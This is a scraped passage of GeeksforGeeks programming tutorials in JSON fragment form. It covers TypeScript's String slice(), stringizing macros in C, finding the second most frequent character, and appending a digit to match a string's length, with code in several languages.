Complexity: O(nlogn) for sorting the data array." }, { "code": null, "e": 36942, "s": 36883, "text": "Space Complexity: O(n) which is the size of the data array" }, { "code": null, "e": 36953, "s": 36942, "text": "nidhi_biet" }, { "code": null, "e": 36967, "s": 36953, "text": "Utkarsh Sinha" }, { "code": null, "e": 36994, "s": 36967, "text": "ashutoshsinghgeeksforgeeks" }, { "code": null, "e": 37010, "s": 36994, "text": "amartyaghoshgfg" }, { "code": null, "e": 37025, "s": 37010, "text": "adnanirshad158" }, { "code": null, "e": 37042, "s": 37025, "text": "surinderdawra388" }, { "code": null, "e": 37051, "s": 37042, "text": "min-heap" }, { "code": null, "e": 37075, "s": 37051, "text": "Advanced Data Structure" }, { "code": null, "e": 37086, "s": 37075, "text": "Algorithms" }, { "code": null, "e": 37110, "s": 37086, "text": "Competitive Programming" }, { "code": null, "e": 37115, "s": 37110, "text": "Heap" }, { "code": null, "e": 37120, "s": 37115, "text": "Heap" }, { "code": null, "e": 37131, "s": 37120, "text": "Algorithms" }, { "code": null, "e": 37229, "s": 37131, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 37258, "s": 37229, "text": "Ordered Set and GNU C++ PBDS" }, { "code": null, "e": 37300, "s": 37258, "text": "2-3 Trees | (Search, Insert and Deletion)" }, { "code": null, "e": 37346, "s": 37300, "text": "Extendible Hashing (Dynamic approach to DBMS)" }, { "code": null, "e": 37382, "s": 37346, "text": "Suffix Array | Set 1 (Introduction)" }, { "code": null, "e": 37396, "s": 37382, "text": "Interval Tree" }, { "code": null, "e": 37445, "s": 37396, "text": "SDE SHEET - A Complete Guide for SDE Preparation" }, { "code": null, "e": 37489, "s": 37445, "text": "Top 50 Array Coding Problems for Interviews" }, { "code": null, "e": 37514, "s": 37489, "text": "DSA Sheet by Love Babbar" }, { "code": null, "e": 37545, "s": 37514, "text": "Difference between BFS and DFS" } ]
TypeScript | String slice() Method with example - GeeksforGeeks
18 Jun, 2020 The slice() is an inbuilt function in TypeScript which is used to extracts a section of a string and returns a new string. Syntax: string.slice( beginslice [, endSlice] ) Parameter: This method accept two parameter as mentioned above and described below: beginSlice – This parameter is the zero-based index at which to begin extraction. endSlice – This parameter is the zero-based index at which to end extraction. Return Value: This method returns the index of the regular expression inside the string. Otherwise, it returns -1. Below example illustrate the String slice() method in TypeScriptJS: Example 1: JavaScript <script> // Original strings var str = "Geeksforgeeks - Best Platform"; // use of String slice() Method var newstr = str.slice(0,14); console.log(newstr);</script> Output: Geeksforgeeks Example 2: JavaScript <script> // Original strings var str = "Geeksforgeeks - Best Platform"; // use of String slice() Method var newstr = str.slice(16); console.log(newstr);</script> Output: Best Platform TypeScript JavaScript Web Technologies Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Remove elements from a JavaScript Array Difference between var, let and const keywords in JavaScript Difference Between PUT and PATCH Request JavaScript | Promises How to get character array from string in JavaScript? Remove elements from a JavaScript Array Installation of Node.js on Linux How to fetch data from an API in ReactJS ? How to insert spaces/tabs in text using HTML/CSS? Difference between var, let and const keywords in JavaScript
[ { "code": null, "e": 26545, "s": 26517, "text": "\n18 Jun, 2020" }, { "code": null, "e": 26677, "s": 26545, "text": "The slice() is an inbuilt function in TypeScript which is used to extracts a section of a string and returns a new string. Syntax: " }, { "code": null, "e": 26717, "s": 26677, "text": "string.slice( beginslice [, endSlice] )" }, { "code": null, "e": 26802, "s": 26717, "text": "Parameter: This method accept two parameter as mentioned above and described below: " }, { "code": null, "e": 26884, "s": 26802, "text": "beginSlice – This parameter is the zero-based index at which to begin extraction." }, { "code": null, "e": 26962, "s": 26884, "text": "endSlice – This parameter is the zero-based index at which to end extraction." }, { "code": null, "e": 27078, "s": 26962, "text": "Return Value: This method returns the index of the regular expression inside the string. Otherwise, it returns -1. " }, { "code": null, "e": 27147, "s": 27078, "text": "Below example illustrate the String slice() method in TypeScriptJS:" }, { "code": null, "e": 27159, "s": 27147, "text": "Example 1: " }, { "code": null, "e": 27170, "s": 27159, "text": "JavaScript" }, { "code": "<script> // Original strings var str = \"Geeksforgeeks - Best Platform\"; // use of String slice() Method var newstr = str.slice(0,14); console.log(newstr);</script>", "e": 27355, "s": 27170, "text": null }, { "code": null, "e": 27364, "s": 27355, "text": "Output: " }, { "code": null, "e": 27379, "s": 27364, "text": "Geeksforgeeks\n" }, { "code": null, "e": 27391, "s": 27379, "text": "Example 2: " }, { "code": null, "e": 27402, "s": 27391, "text": "JavaScript" }, { "code": "<script> // Original strings var str = \"Geeksforgeeks - Best Platform\"; // use of String slice() Method var newstr = str.slice(16); console.log(newstr);</script>", "e": 27585, "s": 27402, "text": null }, { "code": null, "e": 27594, "s": 27585, "text": "Output: " }, { "code": null, "e": 27609, "s": 27594, "text": "Best Platform\n" }, { "code": null, "e": 27620, "s": 27609, "text": "TypeScript" }, { "code": null, "e": 27631, "s": 27620, "text": "JavaScript" }, { "code": null, "e": 27648, "s": 27631, "text": "Web Technologies" }, { "code": null, "e": 27746, "s": 27648, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 27786, "s": 27746, "text": "Remove elements from a JavaScript Array" }, { "code": null, "e": 27847, "s": 27786, "text": "Difference between var, let and const keywords in JavaScript" }, { "code": null, "e": 27888, "s": 27847, "text": "Difference Between PUT and PATCH Request" }, { "code": null, "e": 27910, "s": 27888, "text": "JavaScript | Promises" }, { "code": null, "e": 27964, "s": 27910, "text": "How to get character array from string in JavaScript?" }, { "code": null, "e": 28004, "s": 27964, "text": "Remove elements from a JavaScript Array" }, { "code": null, "e": 28037, "s": 28004, "text": "Installation of Node.js on Linux" }, { "code": null, "e": 28080, "s": 28037, "text": "How to fetch data from an API in ReactJS ?" }, { "code": null, "e": 28130, "s": 28080, "text": "How to insert spaces/tabs in text using HTML/CSS?" } ]
How to print a variable name in C? - GeeksforGeeks
28 Jun, 2021 How to print and store a variable name in string variable? We strongly recommend you to minimize your browser and try this yourself first In C, there’s a # directive, also called ‘Stringizing Operator’, which does this magic. Basically # directive converts its argument in a string. #include <stdio.h>#define getName(var) #var int main(){ int myVar; printf("%s", getName(myVar)); return 0;} myVar We can also store variable name in a string using sprintf() in C. # include <stdio.h># define getName(var, str) sprintf(str, "%s", #var) int main(){ int myVar; char str[20]; getName(myVar, str); printf("%s", str); return 0;} myVar This article is contributed by Abhay Rathi. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above C-Macro & Preprocessor c-puzzle cpp-macros C Language Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Multidimensional Arrays in C / C++ Left Shift and Right Shift Operators in C/C++ Function Pointer in C Substring in C++ rand() and srand() in C/C++ fork() in C std::string class in C++ Enumeration (or enum) in C Command line arguments in C/C++ Different methods to reverse a string in C/C++
[ { "code": null, "e": 25689, "s": 25661, "text": "\n28 Jun, 2021" }, { "code": null, "e": 25748, "s": 25689, "text": "How to print and store a variable name in string variable?" }, { "code": null, "e": 25827, "s": 25748, "text": "We strongly recommend you to minimize your browser and try this yourself first" }, { "code": null, "e": 25972, "s": 25827, "text": "In C, there’s a # directive, also called ‘Stringizing Operator’, which does this magic. Basically # directive converts its argument in a string." }, { "code": "#include <stdio.h>#define getName(var) #var int main(){ int myVar; printf(\"%s\", getName(myVar)); return 0;} ", "e": 26092, "s": 25972, "text": null }, { "code": null, "e": 26099, "s": 26092, "text": "myVar\n" }, { "code": null, "e": 26165, "s": 26099, "text": "We can also store variable name in a string using sprintf() in C." }, { "code": "# include <stdio.h># define getName(var, str) sprintf(str, \"%s\", #var) int main(){ int myVar; char str[20]; getName(myVar, str); printf(\"%s\", str); return 0;} ", "e": 26343, "s": 26165, "text": null }, { "code": null, "e": 26350, "s": 26343, "text": "myVar\n" }, { "code": null, "e": 26518, "s": 26350, "text": "This article is contributed by Abhay Rathi. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above" }, { "code": null, "e": 26541, "s": 26518, "text": "C-Macro & Preprocessor" }, { "code": null, "e": 26550, "s": 26541, "text": "c-puzzle" }, { "code": null, "e": 26561, "s": 26550, "text": "cpp-macros" }, { "code": null, "e": 26572, "s": 26561, "text": "C Language" }, { "code": null, "e": 26670, "s": 26572, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 26705, "s": 26670, "text": "Multidimensional Arrays in C / C++" }, { "code": null, "e": 26751, "s": 26705, "text": "Left Shift and Right Shift Operators in C/C++" }, { "code": null, "e": 26773, "s": 26751, "text": "Function Pointer in C" }, { "code": null, "e": 26790, "s": 26773, "text": "Substring in C++" }, { "code": null, "e": 26818, "s": 26790, "text": "rand() and srand() in C/C++" }, { "code": null, "e": 26830, "s": 26818, "text": "fork() in C" }, { "code": null, "e": 26855, "s": 26830, "text": "std::string class in C++" }, { "code": null, "e": 26882, "s": 26855, "text": "Enumeration (or enum) in C" }, { "code": null, "e": 26914, "s": 26882, "text": "Command line arguments in C/C++" } ]
Program to find second most frequent character - GeeksforGeeks
01 Jun, 2021 Given a string, find the second most frequent character in it. Expected time complexity is O(n) where n is the length of the input string.Examples: Input: str = "aabababa"; Output: Second most frequent character is 'b' Input: str = "geeksforgeeks"; Output: Second most frequent character is 'g' Input: str = "geeksquiz"; Output: Second most frequent character is 'g' The output can also be any other character with count 1 like 'z', 'i'. Input: str = "abcd"; Output: No Second most frequent character A simple solution is to start from the first character, count its occurrences, then second character, and so on. While counting these occurrences keep track of max and second max. Time complexity of this solution is O(n2). We can solve this problem in O(n) time using a count array with a size equal to 256 (Assuming characters are stored in ASCII format). Following is the implementation of the approach. C++ C Java Python 3 C# PHP Javascript #include <bits/stdc++.h>using namespace std;#define NO_OF_CHARS 256 // CPP function to find the// second most frequent character// in a given string 'str'char getSecondMostFreq(string str){ // count number of occurrences of every character. int count[NO_OF_CHARS] = {0}, i; for (i = 0; str[i]; i++) (count[str[i]])++; // Traverse through the count[] and // find second highest element. int first = 0, second = 0; for (i = 0; i < NO_OF_CHARS; i++) { /* If current element is smaller than first then update both first and second */ if (count[i] > count[first]) { second = first; first = i; } /* If count[i] is in between first and second then update second */ else if (count[i] > count[second] && count[i] != count[first]) second = i; } return second;} // Driver codeint main(){ string str = "geeksforgeeks"; char res = getSecondMostFreq(str); if (res != '\0') cout << "Second most frequent char is " << res; else cout << "No second most frequent character"; return 0;} // This code is contributed by rathbhupendra #include <stdio.h>#define NO_OF_CHARS 256 // C function to find the second most frequent character// in a given string 'str'char getSecondMostFreq(char *str){ // count number of occurrences of every character. int count[NO_OF_CHARS] = {0}, i; for (i=0; str[i]; i++) (count[str[i]])++; // Traverse through the count[] and find second highest element. int first = 0, second = 0; for (i = 0; i < NO_OF_CHARS; i++) { /* If current element is smaller than first then update both first and second */ if (count[i] > count[first]) { second = first; first = i; } /* If count[i] is in between first and second then update second */ else if (count[i] > count[second] && count[i] != count[first]) second = i; } return second;} // Driver program to test above functionint main(){ char str[] = "geeksforgeeks"; char res = getSecondMostFreq(str); if (res != '\0') printf("Second most frequent char is %c", res); else printf("No second most frequent character"); return 0;} // Java Program to find the second// most frequent character in a given stringpublic class GFG{ static final int NO_OF_CHARS = 256; // finds the second most frequently occurring // char static char getSecondMostFreq(String str) { // count number of occurrences of every // character. int[] count = new int[NO_OF_CHARS]; int i; for (i=0; i< str.length(); i++) (count[str.charAt(i)])++; // Traverse through the count[] and find // second highest element. int first = 0, second = 0; for (i = 0; i < NO_OF_CHARS; i++) { /* If current element is smaller than first then update both first and second */ if (count[i] > count[first]) { second = first; first = i; } /* If count[i] is in between first and second then update second */ else if (count[i] > count[second] && count[i] != count[first]) second = i; } return (char)second; } // Driver program to test above function public static void main(String args[]) { String str = "geeksforgeeks"; char res = getSecondMostFreq(str); if (res != '\0') System.out.println("Second most frequent char"+ " is " + res); else System.out.println("No second most frequent"+ "character"); }}// This code is contributed by Sumit Ghosh # Python 3 Program to find the# second most frequent character# in a given string # Function to find the second# most frequent character# in a given string 'str'def getSecondMostFreq(str) : NO_OF_CHARS = 256 # Initialize count list of # 256 size with value 0 count = [0] * NO_OF_CHARS # count number of occurrences # of every character. for i in range(len(str)) : count[ord(str[i])] += 1 first, second = 0, 0 # Traverse through the count[] # and find second highest element. for i in range(NO_OF_CHARS) : # If current element is smaller # than first then update both # first and second if count[i] > count[first] : second = first first = i # If count[i] is in between # first and second # then update second */ elif (count[i] > count[second] and count[i] != count[first] ) : second = i # return character return chr(second) # Driver codeif __name__ == "__main__" : str = "geeksforgeeks" # function calling res = getSecondMostFreq(str) if res != '\0' : print("Second most frequent char is", res) else : print("No second most frequent character") # This code is contributed by ANKITRAI1 // C# Program to find the second most frequent// character in a given stringusing System; public class GFG { static int NO_OF_CHARS = 256; // finds the second most frequently // occurring char static char getSecondMostFreq(string str) { // count number of occurrences of every // character. int []count = new int[NO_OF_CHARS]; for (int i = 0; i < str.Length; i++) (count[str[i]])++; // Traverse through the count[] and find // second highest element. int first = 0, second = 0; for (int i = 0; i < NO_OF_CHARS; i++) { /* If current element is smaller than first then update both first and second */ if (count[i] > count[first]) { second = first; first = i; } /* If count[i] is in between first and second then update second */ else if (count[i] > count[second] && count[i] != count[first]) second = i; } return (char)second; } // Driver program to test above function public static void Main() { string str = "geeksforgeeks"; char res = getSecondMostFreq(str); if (res != '\0') Console.Write("Second most frequent char"+ " is " + res); else Console.Write("No second most frequent"+ "character"); }} // This code is contributed by nitin mittal. <?php$NO_OF_CHARS=256; // PHP function to find the// second most frequent character// in a given string 'str'function getSecondMostFreq($str){ global $NO_OF_CHARS; // count number of occurrences of every character. $count=array_fill(0,$NO_OF_CHARS,0); for ($i = 0; $i < strlen($str); $i++) $count[ord($str[$i])]++; // Traverse through the count[] and // find second highest element. $first = $second = 0; for ($i = 0; $i < $NO_OF_CHARS; $i++) { /* If current element is smaller than first then update both first and second */ if ($count[$i] > $count[$first]) { $second = $first; $first = $i; } /* If count[i] is in between first and second then update second */ else if ($count[$i] > $count[$second] && $count[$i] != $count[$first]) $second = $i; } return chr($second);} // Driver code $str = "geeksforgeeks"; $res = getSecondMostFreq($str); if (strlen($res)) echo "Second most frequent char is ".$res; else echo "No second most frequent character"; // This code is contributed by mits?> <script> // JavaScript Program to find // the second most frequent // character in a given string let NO_OF_CHARS = 256; // finds the second most frequently // occurring char function getSecondMostFreq(str) { // count number of occurrences of every // character. let count = new Array(NO_OF_CHARS); count.fill(0); for (let i = 0; i < str.length; i++) (count[str[i].charCodeAt()])++; // Traverse through the count[] and find // second highest element. let first = 0, second = 0; for (let i = 0; i < NO_OF_CHARS; i++) { /* If current element is smaller than first then update both first and second */ if (count[i] > count[first]) { second = first; first = i; } /* If count[i] is in between first and second then update second */ else if (count[i] > count[second] && count[i] != count[first]) second = i; } return String.fromCharCode(second); } let str = "geeksforgeeks"; let res = getSecondMostFreq(str); if (res != '\0') document.write("Second most frequent char"+ " is " + res); else document.write("No second most frequent"+ "character"); </script> Output: Second most frequent char is g YouTubeGeeksforGeeks507K subscribersFind second most frequent character in a string | GeeksforGeeksWatch laterShareCopy linkInfoShoppingTap to unmuteIf playback doesn't begin shortly, try restarting your device.You're signed outVideos you watch may be added to the TV's watch history and influence TV recommendations. To avoid this, cancel and sign in to YouTube on your computer.CancelConfirmMore videosMore videosSwitch cameraShareInclude playlistAn error occurred while retrieving sharing information. Please try again later.Watch on0:000:000:00 / 2:53•Live•<div class="player-unavailable"><h1 class="message">An error occurred.</h1><div class="submessage"><a href="https://www.youtube.com/watch?v=KK5M4GLsuAg" target="_blank">Try watching this video on www.youtube.com</a>, or enable JavaScript if it is disabled in your browser.</div></div> Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above nitin mittal ankthon rathbhupendra Mithun Kumar divyeshrabadiya07 Strings Strings Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Check for Balanced Brackets in an expression (well-formedness) using Stack Python program to check if a string is palindrome or not KMP Algorithm for Pattern Searching Different methods to reverse a string in C/C++ Array of Strings in C++ (5 Different Ways to Create) Convert string to char array in C++ Longest Palindromic Substring | Set 1 Caesar Cipher in Cryptography Check whether two strings are anagram of each other Top 50 String Coding Problems for Interviews
[ { "code": null, "e": 26016, "s": 25988, "text": "\n01 Jun, 2021" }, { "code": null, "e": 26165, "s": 26016, "text": "Given a string, find the second most frequent character in it. Expected time complexity is O(n) where n is the length of the input string.Examples: " }, { "code": null, "e": 26522, "s": 26165, "text": "Input: str = \"aabababa\";\nOutput: Second most frequent character is 'b'\n\nInput: str = \"geeksforgeeks\";\nOutput: Second most frequent character is 'g'\n\nInput: str = \"geeksquiz\";\nOutput: Second most frequent character is 'g'\nThe output can also be any other character with \ncount 1 like 'z', 'i'.\n\nInput: str = \"abcd\";\nOutput: No Second most frequent character" }, { "code": null, "e": 26930, "s": 26522, "text": "A simple solution is to start from the first character, count its occurrences, then second character, and so on. While counting these occurrences keep track of max and second max. Time complexity of this solution is O(n2). We can solve this problem in O(n) time using a count array with a size equal to 256 (Assuming characters are stored in ASCII format). Following is the implementation of the approach. " }, { "code": null, "e": 26934, "s": 26930, "text": "C++" }, { "code": null, "e": 26936, "s": 26934, "text": "C" }, { "code": null, "e": 26941, "s": 26936, "text": "Java" }, { "code": null, "e": 26950, "s": 26941, "text": "Python 3" }, { "code": null, "e": 26953, "s": 26950, "text": "C#" }, { "code": null, "e": 26957, "s": 26953, "text": "PHP" }, { "code": null, "e": 26968, "s": 26957, "text": "Javascript" }, { "code": "#include <bits/stdc++.h>using namespace std;#define NO_OF_CHARS 256 // CPP function to find the// second most frequent character// in a given string 'str'char getSecondMostFreq(string str){ // count number of occurrences of every character. int count[NO_OF_CHARS] = {0}, i; for (i = 0; str[i]; i++) (count[str[i]])++; // Traverse through the count[] and // find second highest element. int first = 0, second = 0; for (i = 0; i < NO_OF_CHARS; i++) { /* If current element is smaller than first then update both first and second */ if (count[i] > count[first]) { second = first; first = i; } /* If count[i] is in between first and second then update second */ else if (count[i] > count[second] && count[i] != count[first]) second = i; } return second;} // Driver codeint main(){ string str = \"geeksforgeeks\"; char res = getSecondMostFreq(str); if (res != '\\0') cout << \"Second most frequent char is \" << res; else cout << \"No second most frequent character\"; return 0;} // This code is contributed by rathbhupendra", "e": 28161, "s": 26968, "text": null }, { "code": "#include <stdio.h>#define NO_OF_CHARS 256 // C function to find the second most frequent character// in a given string 'str'char getSecondMostFreq(char *str){ // count number of occurrences of every character. int count[NO_OF_CHARS] = {0}, i; for (i=0; str[i]; i++) (count[str[i]])++; // Traverse through the count[] and find second highest element. int first = 0, second = 0; for (i = 0; i < NO_OF_CHARS; i++) { /* If current element is smaller than first then update both first and second */ if (count[i] > count[first]) { second = first; first = i; } /* If count[i] is in between first and second then update second */ else if (count[i] > count[second] && count[i] != count[first]) second = i; } return second;} // Driver program to test above functionint main(){ char str[] = \"geeksforgeeks\"; char res = getSecondMostFreq(str); if (res != '\\0') printf(\"Second most frequent char is %c\", res); else printf(\"No second most frequent character\"); return 0;}", "e": 29270, "s": 28161, "text": null }, { "code": "// Java Program to find the second// most frequent character in a given stringpublic class GFG{ static final int NO_OF_CHARS = 256; // finds the second most frequently occurring // char static char getSecondMostFreq(String str) { // count number of occurrences of every // character. int[] count = new int[NO_OF_CHARS]; int i; for (i=0; i< str.length(); i++) (count[str.charAt(i)])++; // Traverse through the count[] and find // second highest element. int first = 0, second = 0; for (i = 0; i < NO_OF_CHARS; i++) { /* If current element is smaller than first then update both first and second */ if (count[i] > count[first]) { second = first; first = i; } /* If count[i] is in between first and second then update second */ else if (count[i] > count[second] && count[i] != count[first]) second = i; } return (char)second; } // Driver program to test above function public static void main(String args[]) { String str = \"geeksforgeeks\"; char res = getSecondMostFreq(str); if (res != '\\0') System.out.println(\"Second most frequent char\"+ \" is \" + res); else System.out.println(\"No second most frequent\"+ \"character\"); }}// This code is contributed by Sumit Ghosh", "e": 30852, "s": 29270, "text": null }, { "code": "# Python 3 Program to find the# second most frequent character# in a given string # Function to find the second# most frequent character# in a given string 'str'def getSecondMostFreq(str) : NO_OF_CHARS = 256 # Initialize count list of # 256 size with value 0 count = [0] * NO_OF_CHARS # count number of occurrences # of every character. for i in range(len(str)) : count[ord(str[i])] += 1 first, second = 0, 0 # Traverse through the count[] # and find second highest element. for i in range(NO_OF_CHARS) : # If current element is smaller # than first then update both # first and second if count[i] > count[first] : second = first first = i # If count[i] is in between # first and second # then update second */ elif (count[i] > count[second] and count[i] != count[first] ) : second = i # return character return chr(second) # Driver codeif __name__ == \"__main__\" : str = \"geeksforgeeks\" # function calling res = getSecondMostFreq(str) if res != '\\0' : print(\"Second most frequent char is\", res) else : print(\"No second most frequent character\") # This code is contributed by ANKITRAI1", "e": 32140, "s": 30852, "text": null }, { "code": "// C# Program to find the second most frequent// character in a given stringusing System; public class GFG { static int NO_OF_CHARS = 256; // finds the second most frequently // occurring char static char getSecondMostFreq(string str) { // count number of occurrences of every // character. int []count = new int[NO_OF_CHARS]; for (int i = 0; i < str.Length; i++) (count[str[i]])++; // Traverse through the count[] and find // second highest element. int first = 0, second = 0; for (int i = 0; i < NO_OF_CHARS; i++) { /* If current element is smaller than first then update both first and second */ if (count[i] > count[first]) { second = first; first = i; } /* If count[i] is in between first and second then update second */ else if (count[i] > count[second] && count[i] != count[first]) second = i; } return (char)second; } // Driver program to test above function public static void Main() { string str = \"geeksforgeeks\"; char res = getSecondMostFreq(str); if (res != '\\0') Console.Write(\"Second most frequent char\"+ \" is \" + res); else Console.Write(\"No second most frequent\"+ \"character\"); }} // This code is contributed by nitin mittal.", "e": 33767, "s": 32140, "text": null }, { "code": "<?php$NO_OF_CHARS=256; // PHP function to find the// second most frequent character// in a given string 'str'function getSecondMostFreq($str){ global $NO_OF_CHARS; // count number of occurrences of every character. $count=array_fill(0,$NO_OF_CHARS,0); for ($i = 0; $i < strlen($str); $i++) $count[ord($str[$i])]++; // Traverse through the count[] and // find second highest element. $first = $second = 0; for ($i = 0; $i < $NO_OF_CHARS; $i++) { /* If current element is smaller than first then update both first and second */ if ($count[$i] > $count[$first]) { $second = $first; $first = $i; } /* If count[i] is in between first and second then update second */ else if ($count[$i] > $count[$second] && $count[$i] != $count[$first]) $second = $i; } return chr($second);} // Driver code $str = \"geeksforgeeks\"; $res = getSecondMostFreq($str); if (strlen($res)) echo \"Second most frequent char is \".$res; else echo \"No second most frequent character\"; // This code is contributed by mits?>", "e": 34944, "s": 33767, "text": null }, { "code": "<script> // JavaScript Program to find // the second most frequent // character in a given string let NO_OF_CHARS = 256; // finds the second most frequently // occurring char function getSecondMostFreq(str) { // count number of occurrences of every // character. let count = new Array(NO_OF_CHARS); count.fill(0); for (let i = 0; i < str.length; i++) (count[str[i].charCodeAt()])++; // Traverse through the count[] and find // second highest element. let first = 0, second = 0; for (let i = 0; i < NO_OF_CHARS; i++) { /* If current element is smaller than first then update both first and second */ if (count[i] > count[first]) { second = first; first = i; } /* If count[i] is in between first and second then update second */ else if (count[i] > count[second] && count[i] != count[first]) second = i; } return String.fromCharCode(second); } let str = \"geeksforgeeks\"; let res = getSecondMostFreq(str); if (res != '\\0') document.write(\"Second most frequent char\"+ \" is \" + res); else document.write(\"No second most frequent\"+ \"character\"); </script>", "e": 36426, "s": 34944, "text": null }, { "code": null, "e": 36435, "s": 36426, "text": "Output: " }, { "code": null, "e": 36466, "s": 36435, "text": "Second most frequent char is g" }, { "code": null, "e": 37314, "s": 36468, "text": "YouTubeGeeksforGeeks507K subscribersFind second most frequent character in a string | GeeksforGeeksWatch laterShareCopy linkInfoShoppingTap to unmuteIf playback doesn't begin shortly, try restarting your device.You're signed outVideos you watch may be added to the TV's watch history and influence TV recommendations. To avoid this, cancel and sign in to YouTube on your computer.CancelConfirmMore videosMore videosSwitch cameraShareInclude playlistAn error occurred while retrieving sharing information. Please try again later.Watch on0:000:000:00 / 2:53•Live•<div class=\"player-unavailable\"><h1 class=\"message\">An error occurred.</h1><div class=\"submessage\"><a href=\"https://www.youtube.com/watch?v=KK5M4GLsuAg\" target=\"_blank\">Try watching this video on www.youtube.com</a>, or enable JavaScript if it is disabled in your browser.</div></div>" }, { "code": null, "e": 37439, "s": 37314, "text": "Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above " }, { "code": null, "e": 37452, "s": 37439, "text": "nitin mittal" }, { "code": null, "e": 37460, "s": 37452, "text": "ankthon" }, { "code": null, "e": 37474, "s": 37460, "text": "rathbhupendra" }, { "code": null, "e": 37487, "s": 37474, "text": "Mithun Kumar" }, { "code": null, "e": 37505, "s": 37487, "text": "divyeshrabadiya07" }, { "code": null, "e": 37513, "s": 37505, "text": "Strings" }, { "code": null, "e": 37521, "s": 37513, "text": "Strings" }, { "code": null, "e": 37619, "s": 37521, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 37694, "s": 37619, "text": "Check for Balanced Brackets in an expression (well-formedness) using Stack" }, { "code": null, "e": 37751, "s": 37694, "text": "Python program to check if a string is palindrome or not" }, { "code": null, "e": 37787, "s": 37751, "text": "KMP Algorithm for Pattern Searching" }, { "code": null, "e": 37834, "s": 37787, "text": "Different methods to reverse a string in C/C++" }, { "code": null, "e": 37887, "s": 37834, "text": "Array of Strings in C++ (5 Different Ways to Create)" }, { "code": null, "e": 37923, "s": 37887, "text": "Convert string to char array in C++" }, { "code": null, "e": 37961, "s": 37923, "text": "Longest Palindromic Substring | Set 1" }, { "code": null, "e": 37991, "s": 37961, "text": "Caesar Cipher in Cryptography" }, { "code": null, "e": 38043, "s": 37991, "text": "Check whether two strings are anagram of each other" } ]
Append a digit in the end to make the number equal to the length of the remaining string - GeeksforGeeks
11 Jun, 2021 Given a string str in which an integer is appended in the end (with or without leading zeroes). The task is to find a single digit from the range [0, 9] that must be appended in the end of the integer so that the number becomes equal to the length of remaining string. Print -1 if its not possible.Examples: Input: str = “geeksforgeeks1” Output: 3 Length of “geeksforgeeks” is 13 So, 3 must be appended at the end of 1.Input: str = “abcd0” Output: 4 Approach: Find the number appended in the end of the string say num and append a 0 in the end which is the least digit possible i.e. num = num * 10. Now find the length of the remaining string ignoring the numeric from the end say len. Now the digit which must be appended will be digit = len – num. If digit is in the range [0, 9] then print it else print -1.Below is the implementation of the above approach: C++ Java Python3 C# Javascript // C++ implementation of the approach#include <bits/stdc++.h>using namespace std; // Function to return the required digitint find_digit(string s, int n){ // To store the position of the first // numeric digit in the string int first_digit = -1; for (int i = n - 1; i >= 0; i--) { if (s[i] < '0' || s[i] > '9') { first_digit = i; break; } } first_digit++; // To store the length of the // string without the numeric // digits in the end int s_len = first_digit; // pw stores the current power of 10 // and num is to store the number // which is appended in the end int num = 0, pw = 1; int i = n - 1; while (i >= 0) { // If current character is // a numeric digit if (s[i] >= '0' && s[i] <= '9') { // Get the current digit int digit = s[i] - '0'; // Build the number num = num + (pw * digit); // If number exceeds the length if (num >= s_len) return -1; // Next power of 10 pw = pw * 10; } i--; } // Append 0 in the end num = num * 10; // Required number that must be added int req = s_len - num; // If number is not a single digit if (req > 9 || req < 0) return -1; return req;} // Driver codeint main(){ string s = "abcd0"; int n = s.length(); cout << find_digit(s, n); return 0;} // Java implementation of the approachimport java.io.*; class GFG{ // Function to return the required digitstatic int find_digit(String s, int n){ // To store the position of the first // numeric digit in the string int first_digit = -1; for (int i = n - 1; i >= 0; i--) { if (s.charAt(i) < '0' || s.charAt(i) > '9') { first_digit = i; break; } } first_digit++; // To store the length of the // string without the numeric // digits in the end int s_len = first_digit; // pw stores the current power of 10 // and num is to store the number // which is appended in the end int num = 0, pw = 1; int i = n - 1; while (i >= 0) { // If current character is // a numeric digit if (s.charAt(i) >= '0' && s.charAt(i) <= '9') { // Get the current digit int digit = s.charAt(i) - '0'; // Build the number num = num + (pw * digit); // If number exceeds the length if (num >= s_len) return -1; // Next power of 10 pw = pw * 10; } i--; } // Append 0 in the end num = num * 10; // Required number that must be added int req = s_len - num; // If number is not a single digit if (req > 9 || req < 0) return -1; return req;} // Driver codepublic static void main (String[] args){ String s = "abcd0"; int n = s.length(); System.out.print(find_digit(s, n));}} // This code is contributed by vt_m # Python3 implementation of the approach # Function to return the required digitdef find_digit(s, n): # To store the position of the first # numeric digit in the string first_digit = -1 for i in range(n - 1, -1, -1): if s[i] < '0' or s[i] > '9': first_digit = i break first_digit += 1 # To store the length of the # string without the numeric # digits in the end s_len = first_digit num = 0 pw = 1 i = n - 1 while i >= 0: # If current character is # a numeric digit if s[i] >= '0' and s[i] <= '9': # Get the current digit digit = ord(s[i]) - ord('0') # Build the number num = num + (pw * digit) # If number exceeds the length if num >= s_len: return -1 # Next power of 10 pw = pw * 10 i -= 1 # Append 0 in the end num = num * 10 # Required number that must be added req = s_len - num # If number is not a single digit if req > 9 or req < 0: return -1 return req # Driver codeif __name__ == "__main__": s = "abcd0" n = len(s) print(find_digit(s, n)) # This code is contributed by# sanjeev2552 // C# implementation of the approachusing System; class GFG{ // Function to return the required digitstatic int find_digit(String s, int n){ // To store the position of the first // numeric digit in the string int first_digit = -1, i; for (i = n - 1; i >= 0; i--) { if (s[i] < '0' || s[i] > '9') { first_digit = i; break; } } first_digit++; // To store the length of the // string without the numeric // digits in the end int s_len = first_digit; // pw stores the current power of 10 // and num is to store the number // which is appended in the end int num = 0, pw = 1; i = n - 1; while (i >= 0) { // If current character is // a numeric digit if (s[i] >= '0' && s[i] <= '9') { // Get the current digit int digit = s[i] - '0'; // Build the number num = num + (pw * digit); // If number exceeds the length if (num >= s_len) return -1; // Next power of 10 pw = pw * 10; } i--; } // Append 0 in the end num = num * 10; // Required number that must be added int req = s_len - num; // If number is not a single digit if (req > 9 || req < 0) return -1; return req;} // Driver codepublic static void 